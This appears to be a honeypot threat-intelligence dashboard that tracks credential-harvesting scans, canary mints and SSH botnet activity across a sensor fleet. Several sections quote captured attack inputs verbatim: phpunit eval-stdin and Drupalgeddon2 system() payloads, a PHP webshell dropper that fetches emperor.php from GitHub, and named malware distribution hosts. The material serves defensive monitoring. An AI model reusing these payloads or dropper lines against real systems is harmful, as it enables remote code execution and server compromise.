№46 FIFTH window — census arm STAYED on control-1: 185.177.72.38 ran 244 ev / 76 paths / 19 families 05:25–05:30 UTC (curl/8.7.1, ipsum:4+firehol2); its 1 /.env mint attempt 400-failed (Tracebit rejection, the census arm's first); .75/.64/.9/.205 absent. №45 FOURTH window — census arm moved to control-1: .75 ran 564 ev / 277 paths / 33 trap families / 1 POST 08:41–08:45 EDT (33 fams is the window's deepest single-IP family spread), .64 censused netcup (256 ev / 253 paths), .9 and .205 absent; 0 mints this window (.205's №44 mint+SES-use so far one-off). №44: census arm THIRD window, wider — .75 netcup 1,096 ev / 485 paths / 4 POSTs 18:52–18:59 EDT + .9 frantech 188 ev + .205 farm 188 ev; NEW: .205 minted 1 (curl/8.7.1) and used 2 canaries against SES (GetCallerIdentity ✓ + GetSMSAttributes/GetSendQuota denied) — first Bucklog mint, first SES link. Bucklog SARL FR /24. №42: THIRD consecutive census window — 185.177.72.75 hit netcup (460 ev / 247 paths, 02:24–02:28 UTC) AND frantech-ts (115 ev / 59 paths, 00:44–00:49), 12 webshell-probe results on netcup; 0 mints. №41: control-1 1,022 ev. Original kit (phpunit verify + reverse shell) dormant since day 7; promote on any phpunit/RCE POST.
flowchart LR
    C["185.177.72.75<br/>410-path census · 35 families"] --> E[".env-variants · wp-config ·<br/>database.yml walk"]
    E --> P["5 POSTs to / —<br/>tarpit-eaten, no bodies"]
    P --- Z["0 mints · 2 windows<br/>netcup №40 → control №41"]

KITEWORKS-CRAWL active

№59: NEW operator 129.222.206.242 (first ever 10-21) — lauterbourg Kiteworks walk: 46 kiteworks-asset fetches + 8 kiteworks-shell + 8 kiteworks-root-redirect + 4 webshell-probe, 222 ev / 67 paths across lauterbourg + canary-farm-1 + ai-devbox-1 under a Chrome/136→143 forgery pair, 0 mints. №54: 176.123.5.6 absent — promotion trigger not met. №53: NEW candidate operator — 176.123.5.6 (Alexhost Srl MD) ran a 9-UA census with 14 kiteworks-asset fetches on lauterbourg (305 ev / 252 paths / 19 fams incl. /mifs/user/login.jsp, /actuator/env, .js.map source maps) plus 15 ev on canary-farm-1; promote on a repeat. №52: absent — 34.52.229.253, 35.205.254.119, and 45.138.12.27 all 0 ev. №50: Google-class IP 104.199.36.53 (GCP) ran the crawl shape on the kiteworks vhost (117 ev bare stripped-Chrome + 25 Chrome/128); REGISTRY-HUNT l9scan legs rode the same vhost. Dedicated Tc Datacenter / AWS classes absent. №49: THIRD window — 45.138.12.25 (Tc Datacenter LT, the same block as №43's .27) ran the full crawl on lauterbourg (143 ev, 10:14 EDT): kiteworks-root-redirect → /login [kiteworks-shell] → 23 kiteworks-asset bundles → webshell sweep + probe + 101-path not-handled census. Three windows, three operator classes (Google BE ×2, AWS 16.216.88.x, Tc Datacenter LT ×2). №47: IDLE — both dedicated classes absent; the 428-ev kiteworks vhost on lauterbourg carried REGISTRY-HUNT's new deeper-Jira signature b3c6048a4870 (8 runner IPs × ~40 ev: 167.172.232.142/.158.128, 167.99.182.39, 207.154.197.113, 206.81.24.227, 146.190.63.48, 157.230.19.140, 128.199.182.152) — the decoy now fingerprints the LeakIX variant at zero cost. №46: THE GOOGLE BE CLASS RETURNED with fresh IPs — 35.241.178.74 (119 ev, 14:35 UTC) + 34.156.206.32 (143 ev, 20:47 UTC, incl. kiteworks-asset bundles) ran the crawl on lauterbourg; vhost volume 554 (up from 506). The №45 AWS 16.216.88.x class absent. №45: TEMPLATE RETURN UNDER A NEW OPERATOR CLASS — a synchronized 4-IP AWS cluster (16.216.88.25/.51/.102/.126) ran the full crawl shape on lauterbourg 05:23–05:24 EDT: kiteworks-root-redirect → kiteworks-shell → 3–4 kiteworks-asset bundles each + tarpit passes (~30–41 ev per IP); the Google BE pair stayed out a SECOND window. Vhost volume 506 total (incl. generic censuses 143.244.57.86 98 not-handled, 31.56.58.43 50, and the l9scan wave). №44: FIRST ABSENCE — no kiteworks-shell passes; vhost volume 1,106 under generic env censuses only. №43 SECOND window — recurring: repeat Google BE IP 35.205.254.119 (119 ev, 04:33 EDT) + NEW operator 45.138.12.27 (Tc Datacenter LT — the l9explore block; 141 ev, 09:35 EDT) with the same shape: root-redirect → /login → 23 kiteworks-asset bundles → webshell sweep+probe + a 103-path not-handled census; bare-Chrome + Chrome/128 UAs; 34.52.229.253 absent; 0 mints. ⚠ №42: FIRST third-party traffic on lauterbourg-01-ts's Kiteworks decoy — 2 Google LLC BE IPs (34.52.229.253, 35.205.254.119) ran ~1-min passes (144/119 ev): kiteworks-root-redirect → /login [kiteworks-shell] → 23 kiteworks-asset JS bundles → webshell-sweep + webshell-probe + not-handled census. UAs: bare stripped Chrome (no platform token — the ZKILLU class) + Chrome/128. 0 mints. Watch for a second node or a return with credential paths.
flowchart LR
    K["Google BE IPs ×2<br/>bare Chrome + Chrome/128"] --> R["kiteworks-root-redirect"]
    R --> L["/login<br/>kiteworks-shell"]
    L --> A["23 kiteworks-asset<br/>JS bundles"]
    A --> W["webshell probes +<br/>census · 0 mints"]

CONFIGBUNDLE-SWARM active

№69: RETURN, NEW POOLS — 194.5.53.x (36 IPs, canary-farm-1 + lauterbourg-01-ts, 311 ev, 1 mint), 163.5.241.x (16 IPs, 2 nodes, 150 ev, 1 mint), 82.197.193.x (21 IPs, 2 nodes, 103 ev, 3 mints: .60/.98 farm, .143 ru-edge), 185.132.187.x (29 IPs, farm, 121 ev, 0 mints); 2–10 ev/IP, browser-UA rotation ending at python-requests/2.34.2; owns farm's webapp-config-bundle-js 3.9× spike (66 ev). 5 mints, 0 use. №52: absent — 0 events from the 45.154.138.x /24, 167.99.79.44, and 45.79.200.28. №50: NEW operator class — 167.99.79.44 (DigitalOcean SG) under Chrome/81: the 20-path webapp-config-bundle-js census + 7 mints across 4 sensors in 19 min (17:35–17:55 EDT; farm 3, aidev 2, control 1, ru-edge 1) — the swarm's largest single-IP mint haul. ⟳ 45.154.138.x /24 on control-1, PROMOTED №43 on a second mint window (9 mints vs №42's 3): .72/.51 Chrome/106 + .88 Chrome/39 config-bundle censuses, then a 61-s python-requests burst minting 1 each from 6 more IPs (.70/.78/.84/.95/.164/.165) at 11:30–11:31 EDT. Sibling shape: 45.79.200.28 (Akamai/Linode) ran the same 20-path webapp-config-bundle-js census on control + ru-edge and minted 1 each — same kit, second block. Promote the Linode IP on a third window.
flowchart LR
    C["45.154.138.x /24<br/>Chrome/106 + Chrome/39"] --> CB["20-path config-bundle<br/>census · control-1"]
    CB --> MINT["9 mints incl. 6×<br/>python-requests burst"]
    L["45.79.200.28 Linode<br/>same 20-path kit"] --> CB2["control + ru-edge<br/>2 mints"]

ENVRC-SWEEP recurring

№45 THIRD window: quote-garbage variants PERSISTED (a157d6c255ee /.envrc&quot;] 7 IPs control+ru-edge 49 ev; c7411f59a56f /var/.env&quot;] 7 IPs control+frantech+netcup 49 ev) and e4cbfe2556fa /var/.env ran ru-edge-only again (8 IPs, 53 ev); d045b89fe96b absent; 0 mints — tarpit absorbs all four sigs. №44 SECOND window: registered sigs ran ru-edge-only (d045b89f 6 IPs / e4cbfe25 6 IPs, 42 ev each); NEW quote-garbage variant sigs c7411f59a56f /var/.env&quot;] (10 IPs, control+frantech+netcup) + a157d6c255ee /.envrc&quot;] (9 IPs, +ru-edge) — ~19 residential IPs, 9–17 ev each, first seen 10-07; 0 mints. ⚠ NEW №43: distributed mobile-UA walker against tarpit-served env paths — sig d045b89fe96b /.envrc (14 IPs, 6 nodes) + e4cbfe2556fa /var/.env (7 IPs, 5 nodes), first seen 10-06, fleet-wide, ~9–13 events per IP. Rotating modern mobile forgeries (Chrome/153–156 Android/iOS, Firefox/152–156 mobile). 0 mints — the tarpit eats every walk; residential egress class like WP-LOGIN-BRUTE's pool.
flowchart LR
    P["Residential mobile IPs<br/>Chrome/153-156 · FF/152-156"] --> E["/.envrc + /var/.env<br/>tarpit-module walks"]
    E --> Z["0 mints · fleet-wide<br/>sigs d045b89f / e4cbfe25"]

KEYHUNT idle

№46: FIRST ABSENCE — 168.119.64.101 out, no second IP or node; its 8 canaries remain unused (check pull-window before calling them dead). ⚠ NEW №45: self-labeled UA `Mozilla/5.0 (keyhunt)` + honest `git/2.34.1` for git stages — 168.119.64.101 (Hetzner DE) ran 4 passes on ai-devbox-1 06:18–13:22 EDT (428 ev / 83 paths / 21 families): config.yaml/yml, values.yaml, secrets.yaml, conf/*, docker-compose, litellm-admin-unauthenticated, actuator-env, firebase-json, aws-credentials-file, netrc, fake-git, llm-endpoint-models-list, tarpit rides. 8 mints at /.env (8/6d, all this window, 0 AWS use). Owns aidev's app-config-yaml 14.8× and config-json 3.1× spikes and 468 of the fapthropic-vhost 737 events. Single IP, single node — watch for a second IP/node.
flowchart LR
    K["168.119.64.101 Hetzner<br/>UA Mozilla/5.0 (keyhunt)"] --> C["config.yaml · values.yaml ·<br/>secrets.yaml · litellm · actuator"]
    C --> G["fake-git walk<br/>git/2.34.1 honest"]
    G --> MINT["8× /.env mints<br/>ai-devbox-1 · 0 AWS use"]

LLM-ENDPOINT-PROBE idle

№54: still no third operator — 10 background ollama and /v1 events fleet-wide. №53: absent — no third operator; both prior clients quiet. №52: SECOND OPERATOR + SECOND NODE — 52.250.210.67 (Azure) on sponge-01-ts 09:47 EDT: 6 model-list probes (only /v1/models [llm-endpoint-models-list] 200) then 90 POST /v1/chat/completions in 11 s, all 200, 142–234 B bodies not captured; honest UA Python/3.12 aiohttp/3.14.5. №44: NO SECOND WINDOW — 104.168.115.214 absent, 0 llm-endpoint events; single window on record. ⚠ NEW №43: 104.168.115.214, honest UA AutoGenX-Engine/9.1 — 48 POSTs against lauterbourg's LLM decoys over 18 h: /api/tags → 10× /api/chat (Ollama) 09:06–10:22 EDT, then 4× /v1/models + 33× /v1/chat/completions 13:17–03:01. All 200; request bodies not captured. This IP owns the llm-endpoint-openai-chat 16.5× spike.
flowchart LR
    T["/api/tags<br/>ollama-tags 200"] --> C["10× /api/chat<br/>ollama-chat"]
    C --> M["4× /v1/models + 33×<br/>/v1/chat/completions"]
    M --- Z["AutoGenX-Engine/9.1<br/>1 IP · 18 h · all 200"]

MEVSPACE-GITWALK idle

№52: absent — the window's git/2.40.0 144-ev walks belong to GIT-VAULT's pair; no env-named-refs template observed. №51: FIFTH operator — 209.50.174.90 ru-edge 144 ev / 142 paths in 6.3 s (02:33 EDT) under an honest git/2.40.0 UA (template's first git-client UA; prior operators used stale Firefox/78); owns 143 of ru-edge's 191 fake-git events. №50: REVIVED under two fresh DigitalOcean IPs — 159.223.234.149 (NL) ran 143 fake-git on ru-edge in 2.5 s (17:48 EDT); 178.62.42.21 (UK) ran 143 on control in 3 s (00:56 EDT 10-13); stale Firefox/78 UA intact; wordlist EXPANDED with env-named refs (first-seen /.git/refs/heads/{stg,sandbox,nightly,stage,demo,canary}, /.git/refs/remotes/origin/{stable,beta}, /.git/logs/refs/…/{stage,demo,bugfix,testing}); 0 mints. №45: first miss after the №44 return — no fake-git walk cluster in the digest cluster table (gen-3 Hetzner IPv6 2a01:4f9:c015:3f79::1 absent). №44: THIRD-GENERATION Hetzner IPv6 operator — 2a01:4f9:c015:3f79::1 (new /16; prior: 2a01:4f8:141:225b::2 №10, 2a01:4f8:161:34c1::2 №16) walked canary-farm-1: 144 ev, 143 fake-git + 1 gitignore, env-named refs families (refs/wip/wtree/, refs/wip/index/, logs/refs/{heads,tags}/, packed-refs, FETCH_HEAD). 0 mints. Prior: №43 first miss after three 3xK-Tech windows; №39 fleet-record single-IP 14,787-ev walk by 169.40.142.2 (Zkillu).
flowchart LR
    H["Hetzner IPv6 (gen 3)<br/>2a01:4f9:c015:3f79::1"] --> W["/.git internals walk<br/>env-named refs · fake-git 143"]
    W --- Z["0 mints · canary-farm-1<br/>one window on record"]

SI-CENSUS active

№69: RETURNED after two idle windows — 102.220.163.241 minted on 4 sensors (74 per 6-day history), old-Chrome UA rotation (62–70). №66: FIFTH-SENSOR REACH — full 511-path directory-fanout walk on 5 sensors (2,058 ev; netcup-ts first time), 4 mints, forged Chrome/126, 70/6d. №65: ESCALATED to the window's #2 mint collector on the refreshed wordlist — farm 1,097 ev / 544 paths, ru-edge 515, aidev 515, control leg (2,208 ev across 4 sensors); 57 mints (66/6d), Chrome/126. №64: full-fleet light pass — 102.220.163.241 touched ALL 8 sensors (13 ev) and minted 3 (aidev/farm/control, Go-http-client/1.1), 8/6d. №63: NEW /24 — 102.220.163.241 (same ASN VPS Dedicated LLC SI) ran the 512-path directory fanout (/vendor/.env, /cronlab/.env, /core/Datavase/.env…) on ru-edge + aidev in one window (2,658 + 517 ev, 39+34 fams, forged Chrome/126), 5 mints; 93.152.221.96 (TechTies) ran the identical sequence across 7 sensors (8 mints, 12/6d) — shared wordlist across two unrelated operators. №53: 102.220.161.x still silent, but same-org block 102.220.163.155 ran CREDSWEEP's fanout template on 3 nodes (see CREDSWEEP) — the org operates multiple census templates. №51: FIRST ABSENCE since the №50 return — no .102/.87/.139 run this window; the block's 33 held credentials stay hostile-held inventory. №50: PROMOTION MET — 102.220.161.139 returned on 4 sensors (1,518 ev: control 845, aidev 348, ru-edge 321, farm light) 09:24–09:59 EDT under a ~10-UA rotation that now includes ClaudeBot/GPTBot/Googlebot forgeries; .env fanout + fake-git walk + 6 mints (control 3, ru-edge 2, aidev 1). The 27 held ru-edge credentials plus these 6 stay hostile-held inventory; 0 observed AWS use. №46: SECOND consecutive idle window (0 events); the 27 held ru-edge credentials remain unused. №45: CONTRACTED to 4 events (.87 only, 3 sensors) — no census, no mints; the block's 27 held ru-edge credentials (№44) remain hostile-held inventory with zero observed AWS use. ⚠ NEW №44 — PROMOTED on the second window: 102.220.161.x (VPS Dedicated LLC SI). .102 ran ru-edge's largest census of the window (2,797 ev / 55 fams / 1,503 paths, 10:39–11:47 EDT) with Host: 127.0.0.1 spoofed on 2,793 requests (the №13 origin-spoof family) and minted a fleet-record 27 canaries in 17 minutes under a Chrome/126 forgery. .87 censused netcup (722 ev, /.hgignore + Zend config set) and ai-devbox-1 (599 ev, 2 mints) under 5 rotating UAs. Lineage: .102's 144-path fake-git walk on aidev in №43; .139 collected №35–№36. Watch: 27 held credentials; third window.
flowchart LR
    S["102.220.161.102<br/>Host: 127.0.0.1 spoof ×2,793"] --> W["1,503-path census<br/>55 families · ru-edge-1"]
    W --> MINT["27 mints in 17 min<br/>fleet single-IP record"]
    B["102.220.161.87"] --> C["netcup + aidev censuses<br/>2 mints"]

PROTON-CENSUS idle

№52: FIRST ABSENCE — 159.26.110.149 0 ev; its 2 held credentials remain the use-side watch. ⚠ NEW №51 — 159.26.110.149 (Proton AG PL, same /24 as №14's 159.26.110.179, the fleet's first credential user) ran the census-and-mint playbook: control pass 163 ev / 96 paths / 48 fams in 3.5 s (13:14:07 EDT, curl/8.22.0) with 2 mints issued at /.env; ru-edge leg 165 ev over 72 min (Go-http-client/1.1 + curl/8.22.0) with AI-config families (claude-config, claude-credentials, claude-history, codex-config-toml) plus aws/gcp/kube/terraform census; the ru-edge mint failed on a connection reset. 0 AWS use in window — in №14 this /24's first use came hours after minting; treat both held credentials as live inventory.
flowchart LR
    P["159.26.110.149<br/>Proton AG PL · curl/8.22.0"] --> C["96-path AI/config census<br/>control 3.5 s · ru-edge 72 min"]
    C --> M["2 mints control /.env<br/>ru-edge mint failed"]
    M --> W["AWS-use watch<br/>/24 used a canary in №14"]

EMPERORS-KIT recurring

№57: SECOND WINDOW, ESCALATED — env-production census (aidev 76 + farm 38 events — owns aidev's inf× spike), config-json + phpinfo + yii2 legs, 11 phpmyadmin GETs, FIRST MINTS (2 on control, Firefox/77 forgery). №56: RETURNED — 150.241.66.127 ran 80 ev on canary-farm-1 + ai-devbox-1 + control-1 with 22 phpmyadmin-login GETs across 11 admin paths; 5 UAs incl. python-requests/2.28.1. №52: absent — second consecutive idle window; repo-liveness check still not run. №51: SECOND consecutive window, FULL KIT re-observed — 150.241.66.127 on 3 nodes again (farm 03:56, control 04:20, aidev 04:23 EDT; ~40 ev each): adminer prod_rw POSTs with six fresh 22-char passwords + phpunit verify <?php echo "EmperorsTools";?> + GitHub dropper copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php',…). 0 mints. №50: RETURN after four idle windows — original operator 150.241.66.127 (Kyonix US) back on control (22 phpmyadmin-login, 04:24–05:47 EDT) + farm (22, 04:00–04:16) under Chrome/91; 0 mints; the phpunit verify and GitHub dropper were not re-observed this window. ⚠ NEW №46: self-labeled webshell EmperorsTools — 150.241.66.127 (Kyonix Networks US) ran the kit on THREE sensors in one 3-h span (farm 15:48–18:31 UTC, control 16:48–19:00, aidev 17:00–18:54; 244 ev / 38 paths total): tarpit cycling → phpMyAdmin login POSTs (phpmyadmin-login ×107 across the 3 nodes) → /admin/adminer.php POSTs auth[username]=prod_rw + a fresh 22-char password per POST (the INFOCREST password shape; 4 captured verbatim) → phpunit verify <?php echo "EmperorsTools";?> → dropper POST copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php','emperorstools.php') → config census (env-production, whm-login, app-config-php, fake-git, symfony-profiler). 6 mints (2 per sensor; 7/6d). Owns the control-1 phpmyadmin-login 8.9× spike. Watch for AWS use and a second operator.
flowchart LR
    T["Tarpit cycling"] --> PMA["phpMyAdmin POSTs ×107<br/>3 sensors"]
    PMA --> ADM["adminer prod_rw +<br/>22-char pw per POST"]
    ADM --> V["phpunit verify<br/>EmperorsTools echo"]
    V --> D["dropper: president32/uploader2<br/>emperor.php → emperorstools.php"]
    D --> MINT["6 mints · 2 per sensor<br/>0 AWS use at close"]

HONEYPOT-C2 active

ssh/telnet honeypot post-compromise C2 (frantech-ts only — not the flux trap surface, not a fleet number). Inventory from the raw sources: 17 hosts / 64 endpoints / 12 payload sha256, 09-18 → 10-26. Families: jklarm (Mirai selfrep, 11 arch) at 176.65.139.40 and mirror 185.228.72.128; zerobot 176.65.139.157/telnet2.sh; leviathan 176.65.132.7:8889/lv.sh; kla.sh 160.119.66.206; satan/bins 31.77.227.121; arch-adaptive $U + @reboot crontab 83.168.69.95; main_* ELF quartet 152.42.195.115; proxy-updater 176.65.134.121 + 37.148.17.37. Host != actor: 176.65.139.40 is also an operator (1,224 telnet auths).
flowchart LR
    S["telnet/ssh shell<br/>frantech-ts only"] --> D["dropper one-liner<br/>wget|curl|tftp|ftpget"]
    D --> J["jklarm ×11 arch<br/>176.65.139.40 · 185.228.72.128"]
    D --> Z["zerobot<br/>176.65.139.157"]
    D --> L["leviathan lv.sh<br/>176.65.132.7:8889"]
    D --> K["kla.sh · satan · main_*<br/>160.119.66.206 · 31.77.227.121 · 152.42.195.115"]
    J --> R["selfrep / crontab @reboot<br/>persistence, then rescan"]

CALC-ORACLE-KIT dormant

№66: RUN ENDED 11:29 stored 10-28 (≈19 h total; 3,550 ev this window: phpunit 892, php2shell-root 892, drupalgeddon2 455, wp-plugin-upload 442, webapp-form-profile 435, php2shell-index 434); new oracle 51630*37099, new upload boundary wf12y9tsoy4vc61; no payload drop observed in the flux view. ⚠ №65 NEW: 152.236.14.113 (Latitude.sh CA) — 13.5-h RCE-verify loop on lauterbourg-01-ts (3,727 ev / 7 paths, 16:38→06:10 stored, ~275 ev/h) + light legs on 4 more sensors (8 ev). Four exploit families share one arithmetic compute oracle: phpunit eval-stdin ×921 `<?= system('echo $((40836*49255))');?>`; Drupalgeddon2 /user/register ×477 `mail[#post_render][]=system&mail[#markup]=uname -m; echo $((10351*48551))`; wp-file-manager connector.minimal.php multipart upload ×478 (boundary wf100fthlq341ie, ww6aism2wj51s.php, `<?php s…`); php2shell root+index ×1,400 on the CVE-2026-109618 surface. 0 mints — wants execution. Watch: second IP, payload drop after a verify, lauterbourg legs.
flowchart LR
    A["152.236.14.113 Latitude.sh CA"] --> L["lauterbourg loop 13.5 h<br/>3,727 ev / 7 paths"]
    L --> P["phpunit eval-stdin ×921<br/>system('echo $((a*b))') oracle"]
    L --> D["Drupalgeddon2 /user/register ×477<br/>post_render[]=system"]
    L --> W["wp-file-manager upload ×478<br/>ww6aism2wj51s.php"]
    L --> S["php2shell root+index ×1,400<br/>CVE-2026-109618 surface"]

Mint → use sankey — sensor → minted → used-in-AWS / unused (all-time)

sankey-beta

canary-farm-1,minted credentials,2764
ru-edge-1,minted credentials,1634
control-1,minted credentials,989
ai-devbox-1,minted credentials,489
minted credentials,used in AWS (3942 events),3942
minted credentials,unused / hoarded,1934

SSH/telnet honeypot funnel — frantech-ts only, not fleet-wide

flowchart LR
    SRC["ssh sources<br/>9867 IPs"] --> AUTH["872830 auth events"]
    AUTH -->|accepted| LOGIN["302787 logins<br/>8870 IPs"]
    LOGIN --> SHELL["393160 commands<br/>4487 IPs"]
    TEL["telnet<br/>3132 IPs"] --> TAUTH["50416 auth events"]

Recent hp commands — newest first (state.hp_commands)

first_seenipeventshead
2026-11-01 02:1562.171.133.11"sh -c 'set -- '\"'\"'check_bf13ced395802bbae1a8185f4294f3f4_arg1'\"'\"' '\"'\"'check_bf13ced395802bbae1a8185f4294f3f4_a
2026-11-01 02:1562.171.133.11"sh -c 'f_check_c0573f0c8085198890240800fd81aabb() { printf '\"'\"'\\n%s|%s\\n'\"'\"' '\"'\"'check_c0573f0c8085198890240
2026-11-01 02:1562.171.133.11"sh -c 'printf '\"'\"'\\n%s|%s\\n'\"'\"' '\"'\"'check_9ab191cb97acb2c1d405b4f791aea66e_small_pid'\"'\"' \"$$\"'"
2026-11-01 02:1562.171.133.11"echo; echo 'check_e761c3fe21635183f3c21da76f61cea8_transport_done'"
2026-11-01 02:1562.171.133.11"sh -c 'printf '\"'\"'\\n%s\\n'\"'\"' '\"'\"'check_71412d88ddf37098e3a7370cded5d742_small_done'\"'\"''"
2026-11-01 02:1562.171.133.11"sh -c 'printf '\"'\"'\\n%s|%s\\n'\"'\"' '\"'\"'check_ba168457cc570dc1285bf87c78b7da7a_small_pid'\"'\"' \"$$\"'"
2026-11-01 02:1580.94.92.551"sh -c 'printf '\"'\"'\\n%s|%s\\n'\"'\"' '\"'\"'check_a3dbe6d014ab8e9eb5b5e4022183f08c_small_math'\"'\"' \"$((74*620+44)
2026-11-01 02:1580.94.92.551"sh -c 'f_check_a3dbe6d014ab8e9eb5b5e4022183f08c() { printf '\"'\"'\\n%s|%s\\n'\"'\"' '\"'\"'check_a3dbe6d014ab8e9eb5b5e

Network-layer recon — inbound sweeps on the fleet's public IPs (Arkime); not visible to the HTTP traps

Arkime window 2026-10-31 07:33:00 → 2026-11-01 07:33:51 UTC · 138,121 inbound sessions on 8 fleet public IPs. Identity is the client tool (fingerprint), never the source IP — sweep operators rotate addresses and keep the tool. Last column = source IPs per day.
fingerprintcampaignsessionssrc IPsnetworkscountriesportssrc IPs/day
f555226df196…LIBSSH-MASSSWEEP dispersed sweep (one port, many networks)3,513422197612210-27 653 · 10-28 615 · 10-29 657 · 10-30 583 · 10-31 455 · 11-01 168
06ff3615a51b…GO-SPRAY-SWEEP dispersed sweep (one port, many networks)1,91110147242210-27 183 · 10-28 119 · 10-29 164 · 10-30 20 · 10-31 101 · 11-01 13
0a07365cc01f…GO-SSH-SWEEP dispersed sweep (one port, many networks)33,6488534232210-27 53 · 10-28 48 · 10-29 58 · 10-30 83 · 10-31 79 · 11-01 42
dd9bcf093c35…—30301122—
e54ef3ec27fe…—37299622—
16443846184e…GO-SCATTER-SWEEP10,3192817152210-27 47 · 10-28 50 · 10-29 44 · 10-30 22 · 10-31 29 · 11-01 13
084386fa7ae5…—33277722—
03a80b21afa8…LIBSSH-011-SWEEP85181272210-19 30 · 10-20 28 · 10-21 28 · 10-22 24 · 10-23 40 · 10-25 47
2ec37a7cc8da…—1,56717342210-27 18 · 10-28 18 · 10-29 18 · 10-30 17 · 10-31 16 · 11-01 13
98ddc5604ef6…—1,966151362210-27 17 · 10-28 9 · 10-29 18 · 10-30 10 · 10-31 17 · 11-01 4
9052c4ab4164…—16154222—
a591c4ddccc9…—181145522—

Top talkers — 24 h window from CUTOFF, named clientIp only

Result-tag heatmap — top 25 tags × 21 days, fleet-wide (all sensors summed)